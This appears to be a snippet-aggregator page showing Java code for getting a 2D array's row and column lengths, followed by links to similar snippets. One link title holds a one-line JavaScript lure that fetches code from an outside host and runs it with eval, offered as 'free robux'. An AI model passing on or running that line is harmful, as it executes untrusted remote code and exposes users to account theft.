2d array length in java

How to get the dimensions of a 2d array in java

public class Main {
  public static void main(String[] args) {
    int[][] test = new int[10][4];
    int rows = test.length;
    int coloumns = test[0].length;
    System.out.println(rows);
    System.out.println(coloumns);
  }
}

2d array length in java

public static void main(String[] args) {

    int[][] foo = new int[][] {
        new int[] { 1, 2, 3 },
        new int[] { 1, 2, 3, 4},
    };

    System.out.println(foo.length); //2 // gives count of rows
    System.out.println(foo[0].length); //3 // gives count of columns for particular row
    System.out.println(foo[1].length); //4
}

Source: stackoverflow.com

Similar codes

15 votes235 views3 answers
How to print a matrix in java
Java
1 vote246 views2 answers
Games
Java
0 vote259 views1 answer
Android studio define array
Java
2 votes243 views3 answers
Area of circle formula java
Java
1 vote219 views2 answers
Android java navigation bar show icon with title
Java
0 vote223 views10 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 5000
Java
0 vote220 views1 answer
Java hashmap remove by condition
Java
22 votes262 views2 answers
How to end a java program
Java
0 vote249 views1 answer
Read array of characters from space separated values in java
Java
0 vote266 views1 answer
Spring boot eureka , zual hystrix, rest api docs
Java Spring